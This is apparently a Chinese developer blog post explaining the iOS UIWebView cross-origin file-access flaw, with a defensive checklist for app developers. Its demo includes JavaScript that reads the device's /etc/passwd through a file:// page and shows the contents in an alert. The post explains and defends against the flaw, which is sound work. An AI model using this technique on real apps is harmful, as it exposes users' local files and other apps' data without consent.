作者: Lefe_x
最近很多关于 iOS Webview
漏洞的话题,利用这个机会,我也来说说对这个漏洞的理解,如果有理解不对的地方,欢迎指出,同时感谢 @折腾范儿_味精
的指点。
iOS
平台跨域访问漏洞成因是由于 UIWebView
默认开启了WebKitAllowUniversalAccessFromFileURLs
和 WebKitAllowFileAccessFromFileURLs
选项。这样黑客利用这个漏洞给某个 App
下发一个 HTML
文件,当 UIWebView
使用 file
协议打开这个 HTML
文件,而 HTML
文件中含有一段窃取用户数据的 JS
代码,这样就导致用户数据泄露的可能。为了演示这个漏洞,我特意写了一个 Demo
,截图是运行结果。
NSString *filePath = [[NSBundle mainBundle] pathForResource:@"index" ofType:@"html"];
_webView = [[UIWebView alloc] initWithFrame:self.view.bounds];
[_webView loadRequest:[NSURLRequest requestWithURL:[NSURL fileURLWithPath:filePath]]];
<!DOCTYPE html>
<html>
<body>
<script>
// 这个可以是手机任意一个文件地址
var localfile = "/etc/passwd"
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
alert(xhr.responseText);
}
}
try {
xhr.open("GET", localfile, true);
xhr.send();
} catch (ex) {
alert(ex.message);
}
</script>
</body>
</html>
运行上面的代码,会读取出手机端 /etc/passwd
的文件。这样的话,我们可以利用这个漏洞访问其他应用的数据,而不必需要用户的许可。而 WKWiebView
的 WebKitAllowUniversalAccessFromFileURLs
和 WebKitAllowFileAccessFromFileURLs
默认是关闭的,不会存在这样的风险。
那么如何觉得自己的 App
是否是安全的呢?看看有没有满足下面几点:
App
中是否含有远程下发的html
供APP
加载,而中途会被别人篡改;- 加载
HTML
文件是通过file
协议加载的; - 使用的是否为
UIWebView
; - 使用
WKWiebView
是否有主动开启WebKitAllowUniversalAccessFromFileURLs
和WebKitAllowFileAccessFromFileURLs
这两个属性。